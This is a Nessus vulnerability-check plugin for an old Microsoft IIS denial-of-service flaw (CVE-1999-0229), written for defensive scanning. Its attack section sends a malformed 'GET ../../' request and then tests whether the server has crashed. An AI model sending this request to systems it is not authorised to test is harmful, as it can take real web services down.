| code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if(description)
{
script_id(10117);
script_version ("1.34");
script_cve_id("CVE-1999-0229");
script_bugtraq_id(2218);
script_name(english:"Microsoft IIS Traversal GET Request Remote DoS");
script_set_attribute(attribute:"synopsis", value:
"The remote web server is vulnerable to a Denial of Service attack");
script_set_attribute(attribute:"description", value:
"It is possible to crash IIS by sending the request GET ../../'");
script_set_attribute(attribute:"solution", value:
"Upgrade to the latest version.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"plugin_publication_date", value: "1999/06/22");
script_cvs_date("Date: 2018/07/13 15:08:46");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:microsoft:iis");
script_end_attributes();
script_summary(english:"Performs a denial of service against IIS");
script_category(ACT_DENIAL);
script_dependencie("find_service1.nasl", "http_version.nasl", "www_fingerprinting_hmap.nasl");
script_family(english:"Web Servers");
script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
script_require_ports("Services/www", 80);
exit(0);
}
# The attack starts here
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80, embedded: 0);
banner = get_http_banner(port: port);
if ("IIS" >!< banner) exit(0);
if(http_is_dead(port: port)) exit(0);
r = http_send_recv_buf(port: port, data: 'GET ../../\r\n');
sleep(2);
if (http_is_dead(port: port, retry: 3)) security_warning(port);
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